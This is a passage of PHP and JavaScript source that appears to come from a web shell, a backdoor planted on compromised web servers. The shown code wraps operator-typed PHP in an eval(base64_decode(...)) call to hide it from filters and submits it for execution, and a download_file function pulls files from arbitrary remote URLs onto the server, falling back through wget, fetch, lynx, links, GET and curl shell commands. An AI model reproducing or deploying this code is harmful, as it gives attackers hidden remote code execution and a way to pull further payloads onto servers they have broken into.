2010 enc4 = 64;
2011 }
2012
2013 output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) +
2014 keyStr.charAt(enc3) + keyStr.charAt(enc4);
2015 } while (i < input.length);
2016
2017 return output;
2018}
2019
2020function doit() {
2021x = document.getElementById("phpcode");
2022cmd = encode64(x.value);
2023php = "eval(base64_decode(\'"+cmd+"\'));";
2024document.getElementById("phpcode").value = php;
2025document.getElementById("phpe_enc").value = "1";
2026document.forms["pf"].elements["submit"].click();
2027}
2028</script>
2029';
2030echo '</body></html>';
2031
2032function download_file($remote_url, $local_fname = '') {
2033 if ($local_fname == '') {
2034 $cwd = getcwd();
2035 $cwd = str_replace('\\', '/', $cwd);
2036 $local_fname = $cwd.'/'.basename($remote_url);
2037 }
2038 if (function_exists("curl_init")) {
2039 $c = curl_init();
2040 curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
2041 curl_setopt($c, CURLOPT_FOLLOWLOCATION, 0);
2042 curl_setopt($c, CURLOPT_HEADER, 0);
2043 curl_setopt($c, CURLOPT_URL, $remote_url);
2044 curl_setopt($c, CURLOPT_HTTPGET, 1);
2045 curl_setopt($c, CURLOPT_CONNECTTIMEOUT, 20);
2046 curl_setopt($c, CURLOPT_VERBOSE, 0);
2047 @curl_setopt($c, CURLOPT_TIMEOUT, 30);
2048 $s = curl_exec($c);
2049 curl_close($c);
2050 } else {
2051 $s = @file_get_contents($remote_url);
2052 }
2053 if (empty($s)) {
2054 $cmd = which('wget')." ".$remote_url." -O ".$local_fname."";
2055 ex($cmd);
2056 if (!file_exists($local_fname)) {
2057 $cmd = which('fetch')." -o ".$remote_url." -p ".$local_fname."";
2058 ex($cmd);
2059 }
2060 if (!file_exists($local_fname)) {
2061 $cmd = which('lynx')." -source ".$remote_url." > ".$local_fname."";
2062 ex($cmd);
2063 }
2064 if (!file_exists($local_fname)) {
2065 $cmd = which('links')." -source ".$remote_url." > ".$local_fname."";
2066 ex($cmd);
2067 }
2068 if (!file_exists($local_fname)) {
2069 $cmd = which('GET')." ".$remote_url." > ".$local_fname."";
2070 ex($cmd);
2071 }
2072 if (!file_exists($local_fname)) {
2073 $cmd = which('curl')." ".$remote_url." -o ".$local_fname."";
2074 ex($cmd);
2075 }
2076 } else {
2077 $fp = fopen($local_fname, 'w');
2078 fputs($fp, $s);
2079 fclose($fp);
2080 }
2081}